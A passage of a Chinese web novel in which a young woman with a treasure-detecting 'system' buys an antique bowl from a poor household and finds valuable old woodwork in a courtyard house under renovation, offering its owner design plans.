谢振邦也开口了,语气温和却直接:“时墨这姑娘确实优秀,聪明,稳重,有见识,但她才多大?过了年才十九吧?还在上高三呢!” 谢时昀张了张嘴,想说什么,又咽了回去。 苏婉清叹了口气:“十九岁,正是读书的年纪。人家要考大学,哪有心思谈恋爱?而且我刚才看得清清楚楚,人家孩子对你,半分别的意思都没有,话客气,那是人家有教养;应对得体,那是人家聪明。但客气就是客气,聪明就是聪明,跟喜欢是两码事。你妈我是过来人。你这一头热,什么时候是个头?” 谢时昀的脸色微僵。 谢振邦也点头附和着:“你妈说得对。这孩子心性高,有自己的主意和规划,未来的路还长着呢,未必会愿意早早定下来。你都二十七了,耗不起。” “我耗得起。”谢时昀忽然开口,声音不高,却十分坚定。 “耗得起?耗得起什么?等人家小姑娘大学毕业?那还得四五年!”谢振邦眉头皱起来,“我跟你说,你王阿姨给你介绍了她侄女,也是首都大学毕业的,在图书馆工作,今年二十四,年龄合适,人也文静,周末你必须去见见!” “我不去。”谢时昀直接拒绝。 “你不去也得去!”谢振邦态度坚决,“你要是真能把人家姑娘娶回来,我不管你等多久,可人家根本对你没意思,你总不能一辈子不结婚吧?” 苏婉清看在眼里,心疼儿子,但话还得说清楚:“儿子,你爸说的对。妈也不是打击你。时墨是妈见过这么多孩子里数一数二、出类拔萃的。你要喜欢,妈不反对。但你得心里有数,人家现在还小,对你也没那心思。你要是真想追,就得有耐心,慢慢来,不能急。” 谢时昀点点头:“我知道。” “你知道就好。”谢振邦忽然话锋一转,“不过话说回来,你要不喜欢你王姨的侄女,你李阿姨家的闺女不是也挺喜欢你吗?人家在附小当老师,比你小两岁,人品样貌也都不错,要不——” “爸。”谢时昀打断他,站起身,“我的事,我自己有数。” “你有什么数?”谢振邦也站了起来,“你有数能二十七了还单着?你赵叔家的孩子都能打酱油了!” 苏婉清叹了口气,语重心长道:“儿子,妈知道你眼光高,一般的看不上。但这个时墨,确实太小了。你也别耽误自己,该见的人也得见,万一有合适的呢?” 谢时昀听到不爱听的,沉默了几秒,声音平静道:“我去看看院子里的鱼。” 说完,他转身往外走。 “哎,你这孩子——”谢振邦还想说什么,被苏婉清拉住了。 “行了行了,别逼他了。”苏婉清叹了口气,“他心里有数。” “这孩子,一根筋。” “随他去吧。时墨人没的说,儿子他要是有那个耐心,就让他试试。不行的话,他自己就死心了。” “万一真成了呢?” 苏婉清想了想,笑了:“那咱儿子真撞大运了。” 谢时昀走到院子里,站在鱼缸前,看着里面游动的金鱼,一动不动。 冬天的阳光照在他身上,影子拉得老长。 他知道父母是为他好。 但他更知道他心之所向。 有些事,急不得。 她还没开窍,他可以等。 她心里没他,他可以慢慢走进她心里。 九岁的差距,他可以努力缩小。 唯一不能做的,就是放弃。 * 胡同里,时建军蹬着自行车,忍不住回头跟时墨嘀咕:“妹,我怎么觉得,谢家叔叔阿姨看你的眼神不对劲啊?” “怎么不对劲了?”时墨笑着问。 “就……就跟看未来儿媳妇似的!”时建军压低声音,“一个劲地问你这问你那,查户口似的,还有谢哥,看你的眼神也不对!妹,你没看出来?” 时墨笑了笑,没接话,只道:“别瞎想,人家就是热情好客。” 时建军想想也对:“也是。谢哥爸妈人真好啊,和和气气的,一点架子都没有,不愧是大学教授。你都不知道,我开始可紧张了。” “紧张啥?” “我也不知道,就是紧张。”时建军说,“那房子,那家具,那气派……我坐那儿都不敢动,生怕给人家碰坏了啥。” 时墨笑着拍了下她哥后背:“至于吗?” “怎么不至于?”时建军说,“我可从来没进过那么好的屋子。妹,你咋那么淡定?跟逛自己家似的。” 时墨随口道:“有什么好紧张的,都是人,还能吃了你?” “那倒不至于。” “对了哥,”她忽然开口,“咱先别急着回家,去趟商场。” “去商场干啥?” “买点东西。”时墨说,“快过年了,我得给孙老他们买点年礼,拜个年。当初颁奖的时候对我那么照顾,不能忘了这份情。” 时建军一听,连连点头:“对对对,应该的应该的!那几个老爷子对你是真好 ,尤其那个孙老,颁奖那天一直夸你,说你是个好苗子。” “是啊,几位老前辈帮了我不少忙,过年了,总得去看看人家。” 孙老确实是个有意思的老头,脾气直,说话冲,但对她是真好。 “那咱去王府井?那边东西全。” “行。” 时建军调转车头,往王府井方向骑去。 “对了墨墨,孙老他们喜欢旧物,你要不要去淘点邮票古币啥的?我看你之前买的那些,好像挺适合送人的。” “哟,哥,你还懂这个呢!” “嘿,咋地,你还瞧不上你哥?”时建军笑着回头瞪她。 “哪有,我看你以前也不关注这个。” “这不是你喜欢,我就留意了。诶,我才想起来,我听研究所的人说,他们那边有个收废品的,家里收了一堆旧家具旧书,和你小院里的差不多。你要是哪天有空去看看,没准能淘着好东西。不过这时候也不知道人还在不在了,都快过年了。” “啊——”时墨在后座哀嚎,“哥你怎么才说!!!” “我这不才想起来嘛!”时建军心虚地缩了下脖子,自行车都跟着晃了一下,“再说咱家也不缺家具,我寻思你也不着急……” “你别我了,赶紧掉头,去你说的地方!”时墨拍着他哥后背,“要是远咱就叫个车,今天就去!” 时建军被拍得直咳嗽,连忙攥紧车把掉转车头,嘴里讨饶道:“行行行,姑奶奶别拍了,再拍你哥就交代在这儿了!这就去!这就去!”—— 作者有话说:继续 第54章 “这还差不多。”时墨收回手, “往哪儿走?” “出胡同往东,奔东直门那边。”时建军蹬着车,嘴里念叨, “我听所里老师傅说, 那人就住东直门里头, 专收废品破烂, 老物件多得是。不过人家也是随口一说,具体哪条胡同我没记太清……” 时墨无语:“没记清你就敢带我去?” “到了那边再打听呗,鼻子底下长着嘴呢。”时建军理直气壮,完全没觉得是回事,“那边胡同就那么大, 还能找不到个收废品的?” “确实, 收废品的天天走街窜巷周围人都熟悉。”时墨想想也是,便没再嘟囔她哥。 时建军蹬着自行车, 一路往东, 过了几个路口,渐渐拐进一片老旧的平房区。 骑进去后, 时建军发现路越来越窄。 坑坑洼洼的土路两边都是低矮的灰砖房和大杂院, 有的墙皮都掉了大半, 露出里面的土坯。路边堆着不少煤球、劈柴, , 一股子铁锈混着煤烟的味道。 胡同里七拐八绕的,时建军骑得慢,逢人就问:“劳驾, 跟您打听一下,这边有个收废品的老哥,姓什么来着我忘了……反正就是收破烂的, 您知道住哪儿吗?” 问了三四个人,终于有个晒太阳的老头指了指:“往前走到头,右拐,就能看见那个破院子。” “大爷,谢谢您嘞!” “甭客气。” 兄妹俩按着指点找过去,果然看见一个破旧的小院,只见两扇歪歪扭扭的木板门,上面挂着一把大铁锁,锁身锈迹斑斑的。 时墨扒着门缝往门里瞅,院子里堆着废纸箱、旧瓶子、破木头板子,乱七八糟的,连个人影都没有。几间矮房也锁着门,窗户上糊着旧报纸,什么都看不见。就连院里的土狗窝都是空的,显然是没人了。 “得,白跑一趟。里面都没人。”时墨脸上的兴奋劲儿瞬间褪了大半,失望地松开手。 时建军也凑过来看了看:“这……估计是回老家过年去了?都快腊月二十了,收破烂的也得回家过年啊。妹你别气,等年后十五,哥第一时间就带你过来看看,保证不耽误事,行不行?” 时墨叹了口气,这年头交通不方便,也没个手机,信息不灵通,跑空趟是常有的事。 “我没气,就是有点可惜。”时墨拍了拍哥哥的胳膊,安慰道,“跟你有啥关系,是我自己要来的。左右都来了,咱四处瞅瞅,万一附近还有别家收旧东西的呢。” “你说得对。”时建军赞同地点点头,“那咱往哪边去?” 兄妹俩正左右寻摸,旁边大杂院的门“吱呀”一声开了,一个围着蓝布围裙四十来岁的大姐端着个搪瓷盆出来倒水,看见两个陌生面孔在废品站门口晃悠,立刻警惕地喊了一声:“哎!你们俩干啥呢?老周就是个收破烂的,院里可没值钱东西!” 大姐嗓门亮堂,手里的水盆还端着,眼神里满是防备。 时墨立刻笑着迎了上去,语气格外客气:“大姐,我们不是来偷东西的,是听人说这儿的周师傅收旧家具,我们想过来淘两件。大姐,您认识这家收废品的,知道他去哪了吗?” 大姐上下打量了兄妹俩一眼,看俩人穿着干净,学生模样,看着就不像坏人,脸上的警惕瞬间消了大半。 “都一个胡同住着,谁不认识谁啊。”大姐把水泼在墙根底下,拍了拍手,放下水盆笑着道:“嗨,早说啊!老周回老家过年去了,得过了正月十五才回来呢!他一年到头就过年回趟家,平时都在这儿。” “你们要旧家具干啥?现在年轻人不都兴买那种人造革的沙发吗?洋气还软和,谁还用老木头家具啊,硌得慌。” “大姐,那种现在时兴的沙发太贵了,咱们都是普通人家,哪买得起那个。”时墨顺嘴找了个借口,笑得一脸实在,“老家具都是实木的结实,上了油用几十年都坏不了,还便宜,我们买回去擦干净收拾收拾,照样能用。” “哎哟,你这小姑娘可真会过日子!我看你长得俊,以为你也是喜欢洋气东西呢。”大姐一听,立刻笑得更亲切了,连连夸她,“现在的年轻人,都讲究排场,像你这么实在的可不多了!不就是旧家具吗?我们家就有两件,那都是正经老东西,我婆婆留下来的呢,纯实木的可沉了,抬都抬不动。你们要是不嫌弃,跟我进来看看?合适就拿走,给俩钱就行!” 时墨眼睛瞬间亮了,连忙道:“那就麻烦大姐了,我们看看,合适就要。” “不麻烦不麻烦!正好我也想腾地方呢!”大姐挺高兴,推开院门招呼他们进去,“快进来吧,院里乱,你们小心点脚下。” 兄妹俩跟着进了院。 这院子堪比收废品院里的破旧程度,三间北房,各家的煤球炉子都放在门口,东边搭着个小棚子,堆着些杂物。院子里扯着根晾衣绳,挂着几件打着补丁的衣服,冻得硬邦邦的。 大姐把他们领到最里面的一间小偏房,推开吱呀作响的木门,一股霉味扑面而来。 “喏,就这两件,一个八仙桌,一个长条凳,都是老榆木的,就是磕了点边角,别的啥毛病没有。”大姐指着柴房角落的两件家具道,“你瞅瞅,这雕花,可不是现在那些洋玩意儿能比的。” 时墨走过去伸手摸了摸桌面,又敲了敲,心里瞬间有数了。 桌子是榆木的,寻常料子,做工也粗,雕花就那么几刀,没什么讲究。椅子也是榆木的,用力压上去吱呀作响,榫头都松了。倒也算是老物件,但顶多也就民国时候的普通家什,不值什么钱,最多就是结实能用。 她抬眼扫了一圈柴房,除了这两件,剩下的都是些破木头板子、旧筐子,没什么像样的东西。 大姐看她半天没说话,脸上的笑容淡了点,带着点急切道:“姑娘,你看这两件咋样?结实得很!我们家老头子用了一辈子了,要不是家没地方放,我才舍不得卖呢。你们要是要,给二十五块钱就行,我让我家那口子帮你们呢抬出去!” 时墨看得出来,这大姐家里条件不算好,屋里的家具都旧得掉漆了,孩子的棉袄都打着好几块补丁,屋里也没什么像样的东西,快过年了,肯定是想卖了家具换点钱,给家里添点年货,过个好年。 可那套家具确实不值钱,她不能因为可怜人家就花冤枉钱。 她心里叹了口气,正想着怎么婉拒,脑子里忽然响起系统的声音—— 【叮!检测到附近有古董级物品,价值远超当前环境平均水平,建议宿主仔细查看!】 时墨心里一动。 【在哪儿?】 【请宿主自行探索。提示:不在正房。】 【你还跟我来这套?】 【哎哟,增加趣味性,找不到,小七会主动告知宿主大人哒!】 【不是。】时墨被系统卖萌的语调,弄得浑身起了一层鸡皮疙瘩,【你少看些没用的,你的钱不是用来升级的吗?】 【系统也需要娱乐啊!】 【……是我刻板印象了。】 时墨面上不动声色,没说买不买,只是问:“大姐,这房子是您家的?住了挺多年了吧?” “可不是嘛,我嫁过来就在这儿,都小二十年了。”大姐叹了口气,“这房子还是我婆婆的婆婆传下来的,年头可久了。就是太破了,修也修不起,将就住着呗。” 时墨点点头,目光往院子里扫了一圈,没看出什么异样来,便语气软和道:“大姐,您那个家具。确实不是我想要的样式……” 时墨话还没说完,就看见大姐脸上的笑容瞬间僵住,强撑着笑打断道:“没事没事,不合适就算了,不麻烦。”嘴上这么说着,眼里的失落却怎么也藏不住。 “哎呀,大姐你听我说。”时墨笑着攥了下大姐粗糙的手,“我的意思是,您在这胡同里住了这么久,街坊邻居都熟,以后谁家有不用的老家具、老木头箱子、老瓷碗老瓶子,您帮我留意着点。只要东西合适,我肯定按市价收,绝不亏待人家。到时候成了,我给您消息费。您觉得成不?” 大姐怔愣住,没想到还有这好事,赶紧点了点头:“行……行啊!这周围我老熟了!谁家干啥在哪上班我都知道!” 时墨从兜里掏出纸笔,刷刷写了几行字,递过去:“这是我家的地址,红星机械厂家属院,我姓时,你叫我时墨就行。不管谁家有老家具老物件,你帮我打听打听,真有好的,我亏不了你。” 大姐接过纸条,小心翼翼地叠好,揣进兜里:“行,我帮你留意着。” 时墨走出柴房,忽然视线落在东边小棚子里。 棚子里堆着蜂窝煤,靠墙放着个破旧的狗窝,是用木板钉的,旁边趴着一只黄乎乎的小土狗,懒洋洋地晒太阳。 狗跟前放着个黑不溜秋的粗瓷碗,碗里还剩点剩饭和水,碗沿上沾着不少泥垢,看着灰扑扑的,跟路边随便捡的破碗没两样。 时墨的目光刚在那个碗上停了一瞬,脑中便响起几声中奖经典前调。 【恭喜宿主,贺喜宿主!这狗碗是康熙年间的乌金釉碗!民窑精品!全品无残!】系统奏完乐退下了。 要不是系统提醒,她还真不能从这满是泥垢的碗上,看出乌金釉的成色来。 时墨心里美了,这就是——柳暗花明又一村啊! 时墨面色如常,笑着往那边走了两步:“大姐,你家这小狗养得挺好,毛色亮,还虎头虎脑的。” 大姐一听,立刻笑了:“嗨,就是个土狗,看家护院还行,也不挑食,给啥吃啥。平时就喂点剩饭,好养活得很。” “我正想着,开春我那小院收拾好了,也养只小狗看家呢。”时墨笑着走到狗窝边,蹲下来逗了逗小黄狗,状似随意地拿起那个黑碗,翻来覆去看了看,“大姐,你这喂狗的碗看着挺结实啊。我看这小狗玩它磕磕碰碰都没坏。 大姐跟着看过去,笑道:“那碗,还是我从娘家带来的,用了多少年了,结实得很。” 时墨心里一动,面上却只是笑:“大姐你娘家哪儿的啊?” “通县的。”大姐说,“农村嘛,别的没有,这种粗瓷碗多的是。” “是嘛,我还头一回听说,我正想找个这样的碗,回头给小狗喂食也摔不烂。你这碗卖不卖?我跟你买了。” 大姐愣了一下,随即哈哈大笑:“哎哟姑娘,一个喂狗的破碗,哪能要你的钱!你要是喜欢,直接拿走就是了!不值钱的玩意儿,扔了都没人捡!” “那可不行,哪能白拿您东西。”时墨摇了摇头,放下碗,“您说个数,我买。” 大姐连连摆手:“这破狗碗用了多少年了,哪能要你钱?” 时墨看她推得真诚,心里越发确定这家人是老实本分的,想了想,说:“大姐,这么着吧,我给你五块钱,就当是你帮我留心的信息费。这碗就当搭头了。”时墨从兜里掏出五块钱,塞进大姐手里。 “五块?!”大姐眼睛瞪得老大,“哎哟!这可不行!太多了!” 大姐吓得连忙把钱往回推,脸都急红了,“一个破碗,哪值五块钱!最多给两毛就顶天了!姑娘你快把钱收回去!” “值不值的,我说了算。大姐,你就拿着吧。”时墨把钱塞进她手里,语气格外真诚:“这马上过年了,这钱你拿着,给孩子买点糖、扯块新布做件新衣服,就当是我提前给孩子的压岁钱了。今天能碰见你,也是缘分。” 大姐攥着那五块钱,捏着手里的十块钱,看着眼前这个笑盈盈的小姑娘,眼眶都有点热了。她哪里不知道,人家姑娘这是看家里困难,变着法地帮衬自己呢。一个破狗碗,别说五块,一毛钱都没人要。 “姑娘,你……你这心肠也太好了。”大姐声音都有点哽咽,“你放心!以后街坊邻居有啥旧东西,姐肯定第一时间给你捎信!绝不让你吃亏!” 时建军在旁边看着,瞬间就明白了妹妹的意思,也连忙在旁边帮腔:“姐,你就拿着吧,我妹就是这性子,实在。以后就麻烦您多帮我们留意着点了。” 大姐连连点头,把钱小心翼翼地揣进兜里,嘴里不停地道谢,非要给时墨装点自家腌的咸菜,时墨笑着婉拒了,又从布袋里掏出几个冻梨,递过去:“大姐,这几个冻梨您拿着,今天遇见也是有缘,给孩子尝尝。” 大姐这下彻底不知道该说什么了,接过冻梨,眼泪都快下来了:“姑娘,你……你等着,我给你装起来!” 她转身跑回屋,找了个破布袋子,把那碗拿到滴水的水龙头下洗干净,仔仔细细包好,又用绳子捆了,双手递给时墨。 时墨接过碗,笑着说:“谢谢大姐。对了,您贵姓?” “我姓王,叫王玉芬。你可以叫我芬姐。”王玉芬说,“我男人姓赵,他出去蹲活去了,你不叫我芬姐叫我赵婶子也行,周围老邻居好些都这么叫的。” “行,芬姐,那我和我哥走了,有消息你就找我。” 王玉芬把两人送到门口,看到两人骑上车,突然想起什么,一拍大腿,喊住了他们:“哎!妹子你等会儿!我想起个事来!” 时墨回头,笑问:“芬姐,怎么了?” 王玉芬快步走过来,压低声音说:“我想起来了,我们胡同后头,有户人家,往上数三代,可是有头有脸的大户人家!那家老爷子,以前是开大买卖的,家里好东西多了去了。后来那几年……你也知道,那家人就都走了,房子空了十几年了。” 时墨一听,眼睛瞬间就亮了:“那现在呢?” “最近这两天那家有动静了!”王玉芬神神秘秘地说,“前两天我路过,看见那院里有人进进出出的,是个年轻人,说要把房子重新翻盖。我听见他跟人说什么房子太老了,院里的这些门窗、旧家具、老木头,全要拆了换新的!你要是喜欢老家具,现在去看看,没准能碰上喜欢的呢!” 时墨忍不住心跳加快。 往上数三代,有头有脸的大户人家! 要拆了翻盖! 这简直是天上掉馅饼的好事!这种老宅子里,指不定藏着多少被人忽略的好东西! “芬姐,你说的是真的?那宅子现在有人吗?我们现在过去看看,方便吗?”时墨连忙追问,语气里透着急切。 “方便!怎么不方便!”王玉芬笑着道,“那年轻人今天就在那儿呢,我早上买菜还看见他了,正跟几个工人商量年前年后拆房子的事呢!你们现在过去,正好能碰上!我带你们去!” “那可太谢谢你了芬姐!真是太麻烦你了!”时墨激动得不行,连忙道谢。 “谢啥!咱俩今天认识也是缘分。”王玉芬笑着摆摆手,“走!我带你们过去!就在胡同后头,两步路就到!” 时建军看着妹妹瞬间亮起来的眼睛,也跟着激动起来,推着车,跟在妹妹和王玉芬身后,快步往胡同东头走去。 没走两分钟,就到了胡同尽头。一座气派的广亮大门出现在眼前,朱红的漆掉了大半,门墩上的狮子雕刻都磨平了,却依旧能看出当年的气派。两扇大门敞开着,院里传来叮叮当当的敲打声,还有工人说话的声音。 王玉芬站在门口,笑着道:“就是这儿了!你们进去吧!我就不进去了,还得回家做饭呢!别忘了我跟你们说的事,有消息我给你们捎信!” “好!”时墨连连道谢,看着王玉芬走远了,才深吸一口气,抬头看向这座尘封了多年的老宅子。 院门里,影壁墙的砖雕都被砸坏了大半,院里的杂草长了有半人高,正房、厢房的门窗都破破烂烂的,地上堆着不少拆下来的旧木头、破家具,几个工人正拿着锤子撬地上的青砖,院子中间站着个穿皮夹克,带着皮草帽子的年轻人,正拿着图纸跟工人交代着什么。 时墨的目光扫过院里满地的旧物,眼睛瞬间睁大。 这,这老些东西 ? 果然,大户人家,诚不欺我! 老话说得好啊,瘦死的骆驼比马大! 时墨脑子里闪过一条条吐槽弹幕。 突然,系统的声音也在脑海里疯狂响起,警报似的,带着前所未有的激动: 【宿主!这宅子底下有好东西!快进去看看!!!】—— 作者有话说:不加班还能多写点,明天争取冲冲冲 第55章 时墨站在院门口, 深吸一口气,压下心里翻涌的激动,抬脚跨进了门槛。 【叮!检测到大量高价值古董文物!请宿主注意查收!】系统的声音瞬间在脑海里炸开, 跟打了鸡血似的, 【宿主!正房廊下的雕花木窗!金丝楠木的!清代中期的!全品!】 【宿主!脚下的青砖!清代官窑烧制的铺地金砖!完整度80%!】 【宿主!东厢房墙角堆的瓷瓶!光绪年间青花赏瓶!全品无磕!】 时墨脚步顿了顿, 面上半点不露, 只装作打量院子的样子,余光扫过系统标记的各处宝贝,心里暗暗咋舌——这哪里是破败老宅,分明是个藏宝库! 时建军跟在她身后,眼睛却忍不住四处打量。这院子虽然荒了多年, 杂草长了半人高, 可光是那规制完整的广亮大门、影壁墙上残存的缠枝莲砖雕,还有台阶上錾刻着花纹的青石条, 就知道这户人家当年绝非普通百姓。 院子中间的年轻人听见动静, 抬起头来。 他看着二十七八岁,穿着一件挺括的棕色皮夹克, 拉链敞着, 露出里面正红色的羊毛衫, 头上戴着顶时下最时髦的水獭皮帽子, 浓眉大眼, 鼻梁高挺,浑身透着股爽利劲儿。 他的目光落在时墨脸上,先是愣了一下, 眼里闪过一丝毫不掩饰的惊艳。 时墨今天穿着李秀兰新做的碎花棉袄,围着艳红色的羊毛围巾,脸蛋被寒风吹得白里透红, 纤长的睫毛垂下来,在眼睑下投出浅浅的阴影,站在冬日的暖阳里,干净得像幅画,跟这破败的院子格格不入,却又偏偏格外打眼。 年轻人的目光在她脸上停了两秒,随即收起手里的施工图纸,大步走了过来,笑着问道:“二位是?找我有事?” “同志你好,打扰了。”时墨走上前,说明了来意,“我听胡同里的芬姐说,你这儿翻盖老房,要处理不少旧家具、老木头?我刚买了个小院子,想找点老实木的物件,回去收拾收拾用。你看方便让我们进去瞧瞧吗?要是有你不用的东西,我们花钱买,绝不白拿。” 她这话一出口,旁边歇着的工人都笑了,七嘴八舌地打趣:“赵老板,还有小姑娘专门来买这些破烂木头的!新鲜!” “就是,我们正愁这玩意儿劈柴都费劲呢,有人花钱收,这不正好嘛!” 被叫做赵老板的年轻人笑了,上下打量了时墨两眼,看着她干干净净、学生模样的样子,怎么看都不像是收破烂的,只觉得稀奇得很:“行啊,进去看吧,随便看。院里这些拆下来的门窗、桌子、破柜子,还有地上撬下来的旧砖,都是要扔的,你看中了随便挑,给个块八毛的就行,不值当什么钱。” “那太谢谢您了。”时墨笑着道了谢,拉了拉时建军的胳膊,两人往里走。 一进院门,系统的声音再次炸响。 【叮!检测到明代榆木供桌一张,市场估价300-500元!】 【叮!检测到民国红木梳妆台一件,市场估价150-200元!】 【叮!检测到……】 时墨被系统吵得脑仁疼,在心里默默喊停:【行了行了,我知道了,满院子都是宝贝,你消停会儿。】 【宿主!这院子简直就是宝藏!系统检测到至少23件有价值的古董家具和摆件!建议全部拿下!】 时墨嘴角抽了抽:【我倒是想全部拿下,也得看人家卖不卖。】 时建军跟在她身边,压低声音小声问:“妹,真有好东西?” “别说话,看就行。”时墨低声回了一句,目光飞快地扫过院子。 几个工人正拿着撬棍吭哧吭哧撬地上的青砖,还有人在拆廊下的雕花木窗,那些窗棂上的梅花雕花虽然蒙着厚厚的灰,边角也磕了点,可依稀能看出当年的精致。 【宿主!快!那两个工人要劈隔扇了!清代海南黄花梨满工缠枝莲隔扇!四扇一套全品!劈了就彻底毁了!】系统突然提高声音警报着。 时墨脸色一变,抬眼就看见正房门口,两个工人举着斧头,对着四扇雕花隔扇就要往下劈,嘴里还念叨着:“这破玩意儿雕花太多,全是硬木头,劈柴都费劲!赶紧劈完拉走!” “等一下!别劈!”时墨立刻出声喊住了工人,脚步飞快地跑了过去,张开胳膊护在了隔扇前面。 两个工人被她突然一喊,吓了一跳,手里的斧头停在半空,扭头看向院子里的赵磊。 赵磊也快步走了过来,看着时墨护在隔扇前面,有点好笑又有点不解:“怎么了小姑娘?你看上这破隔扇了?这玩意儿都快散架了,雕花也磕了不少,放家里占地方,劈柴都不好劈,你要这干啥?” “这可不是破东西。”时墨收回手,伸手摸了摸隔扇,木纹细腻温润,包浆厚重,语气笃定,“这是正经老黄花梨的,不是普通柴木,结实得很,再用几十年都坏不了。虽然旧了点,但找师傅修一修,打磨上油,照样能用。我正好缺个隔扇挡院里的穿堂风,这个我要了,大哥您开个价。” “黄花梨?”赵磊愣了一下,上下扫了扫那四扇隔扇,显然不懂木头里的门道。他在特区做生意,见惯了新式玩意儿,对这些老木头一窍不通,但觉得这小姑娘看着年纪不大,懂的还真不少。他本来就不差钱,这些东西在他眼里跟破烂没两样,当即摆了摆手,豪爽道:“嗨,什么价不价的,你想要就直接拿走,要什么钱。” 【叮!宿主获得清代黄花梨雕花隔扇一套!当前价值800元!】 “那可不行,一码归一码。”时墨摇了摇头,心里门儿清,白拿的东西容易落话柄,明码标价买下来,才是落袋为安,踏实稳妥,“这隔扇就算是您眼里的破烂,也值点钱,我给您十五块钱,您要是觉得合适,我就找人拉走。” 十五块钱,现下够普通工人大半个月的工资了,买一套“破木头隔扇”,在工人眼里简直是有钱没处花。 几个干活的工人瞬间炸开了锅,凑在一起小声蛐蛐起来: “天娘嘞!这女娃子有钱没处花了?” “一堆破木头值十五块?都快赶上咱们三天的工钱了!” “可不是咋地。” “赵老板这是捡着了,一堆破烂卖了半个月工资!” 赵磊也愣了,随即笑了,觉得这小姑娘不仅长得俊,人还实在,不贪小便宜,当下就点了点头:“行,你说多少就多少。我还真没看出来,你小小年纪,还懂木头门道?” “跟着师傅学过点皮毛。”时墨顺势就扯起了虎皮,语气从容不迫,“我跟着聚仙斋的宋老爷子学过点书画木器的门道,不算精通,也就认个木头好坏,辨个新旧。” 聚仙斋在京城文玩圈里名头响得很,宋老爷子更是圈里泰斗级的老前辈,赵磊虽然不懂文玩,却也听过聚仙斋的名号。看向时墨的眼神瞬间就不一样了,多了几分敬重,再没把她当成随便来捡破烂的小姑娘。 “原来是宋老爷子的徒弟,失敬失敬。”赵磊笑着拱了拱手,语气更热络了,“我叫赵磊,你叫我赵哥就行。在南边做点小生意。你贵姓?” “免贵姓时,时墨,您叫我名字就成。”时墨笑了笑,谦虚道,“赵哥客气了,我不是什么高徒,就是跟着宋老爷子学了点皮毛,算不上入门。” “嗨,你这话可就谦虚了。”赵磊抖了抖手里皱巴巴的施工图纸,“正好,我正愁这老房子怎么装呢。本来想全拆了,盖成新式洋房,可我姥姥姥爷临走前留了话,说这老宅子是家里的根,不能全毁了,我正愁没辙呢。你既然懂这个,能不能给我出出主意?” 时墨心里一喜,正愁没机会深入,没想到对方自己送上门来了。她面上不动声色,笑着道:“主意倒是能出,我能给你画一套完整的设计图纸,既保留这老宅子的格局和老物件,不毁了老人留下的根,又能装上暖气、上下水、独立卫生间,住着跟新式洋房一样舒服。就是得收点设计费,跟市面价一样,绝不乱开价。” 赵磊果然眼睛都亮了,他见过南边的新式洋房,可又舍不得姥姥姥爷留下的老宅子,正两头犯难,时墨这话正好戳中了他的痛点。“真的?还能这么弄?那可太好了!你看我这院子,该怎么弄?” 时墨也不客气,指着院子各处,随口道来,句句都踩在点子上:“赵哥,您这大门是正经四合院的规制,门墩虽然磨损了,但找老工匠照着原样补一补,照样气派,绝对不能拆。影壁墙的砖雕坏了,也能照着残存的纹样补全,这是老宅子的脸面。” 她又指着正房:“正房的窗户可以改成仿古的雕花窗,里面装双层玻璃,外面看是老样子,住着不透风、不漏雨,冬天还保暖。院里的地砖,能用原来的老青砖尽量用原来的,不够的就淘点同时期的老青砖补上,别换新的水泥砖……” 她一边说,一边比划,时不时说出几个后世才成熟的设计巧思:“正房后面可以开个小门,连通后院,收拾出来做个私家小花园,种点花花草草,夏天能乘凉,冬天能晒暖儿。厢房里装暖气片,外面用雕花木板包起来,既暖和,又不破坏老房子的整体风格。还有厨房和卫生间,可以单独设在耳房里,接上上下水,装个抽水马桶,住着干净方便,也不影响正房的格局。” 这些后世烂大街的中式四合院改造思路,在当下简直是闻所未闻。 赵磊听得眼睛越来越亮,越听越激动,最后忍不住拍了下大腿:“小时妹子,你这可太懂了!比我找的施工队那些人画的破图强一万倍!我之前就总觉得差点意思,你这一说,我可算明白了!” 时墨谦虚地笑了笑:“我就是纸上谈兵,真动起工来,还得靠老师傅们的手艺。” “那你给我画图纸!价钱你随便开!”赵磊爽快得很,半点不拖泥带水。 时墨心里一动,面上却不露声色:“那可不行,哪能胡乱要价。一套完整的图纸,包括院子的整体布局、屋里的装修细节、水电走线、暖气安装,一共八十块钱。” 八十块钱,相当 于当时普通工人两个月的工资,对在南方做生意的赵磊来说,不过是一顿饭钱,完全不算什么,却又完全符合当下的物价,绝不会让人觉得狮子大开口。 “没问题!别说八十,八百都没问题!”赵磊大手一挥,豪爽得很,只觉得找到了懂行又实在的人,“我就想装成那种,外面看着是老四合院的原汁原味,里面住着又舒服不憋屈。我姥姥姥爷以前就爱坐在院里的枣树下喝茶,我就想把那棵老枣树留住,还有正房的老土炕,也想留着,当个念想。” “这都好办。”时墨笑着点头,顺着他的话往下说,句句都说到了他心坎里,“老宅子的魂儿就在这些地方,枣树、老炕、影壁墙,这些带着老人念想的东西,全给你留住。咱们只改里面的居住布局,不动老宅子的根基,既圆了老人的遗愿,你住着也舒服。” “对对对!就是这个意思!我就想这么弄,可就是说不出来!妹子,你太懂了!这图纸你必须给我画,钱不是问题!” 赵磊找了好几个施工队,都只会说全拆了盖新的,没人懂他想留住老宅子的心思,没想到被一个十八九岁的小姑娘说透了。 他越看时墨越觉得佩服,这姑娘看着年纪小,不仅懂木器,连房子设计都这么明白,谈吐不凡,见识比他这个跑过特区、见过世面的人都广,心里的欣赏又多了几分。 两人越聊越热络,赵磊也跟她交了底,说了这宅子的来历。 “我本来也不懂翻修房子,就想着全拆了盖新的,又觉得对不起老人的嘱托,正纠结呢,可算碰见你了。”赵磊笑着道,“妹子,你也别跟我客气,院里这些老桌子、破柜子、旧门窗,只要你看得上的,全拿走!要是你这设计图纸出来,我看着满意,这些东西我全送给你,分文不要!” 【宿主!快拿下!这一院子的老物件,全是宝贝啊!】系统在脑海里欢呼。 时墨眼睛一亮,当即抬起手,笑着道:“赵哥,一言为定?咱们击掌为誓!” 赵磊愣了一下,随即笑了。他还是头一回见这么新鲜又守旧的仪式,小姑娘笑盈盈的,眼睛亮得像盛了星星,他心里一动,立刻抬起手,跟她清脆地击了一掌:“一言为定!我赵磊说话算话!” 时建军在旁边看着妹妹一本正经地跟人谈生意、击掌定约,心里直打鼓。 他知道妹妹聪明,会写书、懂辨宝,可这画设计图纸的事儿,她是真会还是假会啊? 他心里紧张得不行,面上却不敢露出分毫,只能绷着脸。 击完掌,赵磊又想起正事,问:“小时,你这图纸,大概多久能画好?我想着年后就开工,要是年前能画好,我直接拿给施工队,年后就能直接动工。” 时墨想了想,说:“年前是有点赶,但我争取,腊月二十八之前,肯定给你送过来。” “行!太谢谢你了妹子!”赵磊爽快地应了。 时墨压下心里的喜悦,看向赵磊,认真问:“赵哥,我冒昧问一句,你对这些老物件,是什么态度?是想全处理了,还是想留几件做个念想?” 